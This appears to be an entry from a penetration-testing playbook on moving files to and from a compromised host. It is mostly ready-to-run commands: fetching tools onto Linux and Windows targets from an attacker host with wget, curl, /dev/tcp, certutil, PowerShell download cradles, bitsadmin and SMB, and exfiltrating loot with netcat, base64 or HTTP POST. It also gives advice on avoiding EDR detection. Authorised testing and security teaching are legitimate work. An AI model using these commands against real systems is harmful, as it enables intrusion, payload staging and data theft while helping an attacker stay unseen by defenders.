File transfers

When it applies

You have a shell and need to stage a tool onto the target, or pull data/loot back to your box, and there's no shared filesystem. Pick the method by what the target has (Linux vs Windows, which binaries exist) and whether you're reaching it directly or through a pivot. $LHOST is your box.

Why it works

Almost every host can speak HTTP, SMB, or raw TCP with something already installed — a language runtime, certutil, bitsadmin, nc, or /dev/tcp. You host the file on your side and pull it with whatever the target has; for exfil you reverse the direction. Base64 copy-paste works even with no network path at all.

Method

Attacker → Linux target

# serve from your box:
python3 -m http.server 80
# on target, pick what exists:
wget http://$LHOST/linpeas.sh -O /tmp/l.sh
curl http://$LHOST/linpeas.sh -o /tmp/l.sh
exec 3<>/dev/tcp/$LHOST/80; echo -e "GET /f HTTP/1.0\r\n\r" >&3; cat <&3   # no wget/curl
# base64 (no network): paste on target →  echo "<b64>" | base64 -d > /tmp/f

Attacker → Windows target

certutil -urlcache -split -f http://$LHOST/nc.exe C:\Windows\Temp\nc.exe
powershell iwr http://$LHOST/x.exe -o C:\Windows\Temp\x.exe
powershell (New-Object Net.WebClient).DownloadFile('http://$LHOST/x.exe','C:\Windows\Temp\x.exe')
bitsadmin /transfer j http://$LHOST/x.exe C:\Windows\Temp\x.exe
# SMB (great for AV-touchy files): attacker →
impacket-smbserver share . -smb2support            # add -user u -password p for modern Windows
# target →
copy \\$LHOST\share\x.exe C:\Windows\Temp\x.exe

Target → Attacker (exfil)

# netcat:  attacker: nc -lvnp 4444 > loot     target: nc $LHOST 4444 < /path/loot
# base64:  target: base64 -w0 /path/loot      attacker: echo "<b64>" | base64 -d > loot
# HTTP POST to a tiny receiver, or SMB write-back to your impacket share
# scp (with creds): scp user@target:/path/loot ./

Through a pivot (see network-pivoting-tunneling)

# SSH tunnel:  ssh -L 8888:internal:80 user@foothold  → wget http://127.0.0.1:8888/f
# chisel/ligolo: once the tunnel is up, transfer straight to the internal host

Gotchas

• Windows certutil/bitsadmin are flagged by some EDR — SMB pull or a fresh PowerShell download cradle is often quieter; on modern Windows the SMB server needs credentials (-user/-password) or the client refuses guest.
• Write somewhere you can write/execute — /tmp or /dev/shm (watch noexec mounts) on Linux; C:\Windows\Temp or your user profile on Windows.
• Integrity — verify size/hash after transfer (sha256sum/Get-FileHash); truncated tools fail in confusing ways.
• Base64 has size limits in a cramped shell — chunk large files or use a real channel.
• Keep loot minimal and in the git-ignored engagements/<target>/loot/ — don't hoard real data.

Verify success

The file exists intact on the destination (matching hash/size) and, for a tool, runs; for exfil, the pulled copy opens correctly on your box.

References

PayloadsAllTheThings (File Transfer); Impacket smbserver; LOLBAS (certutil/bitsadmin). Related: payloads-reverse-shells, network-pivoting-tunneling, network-credential-cracking.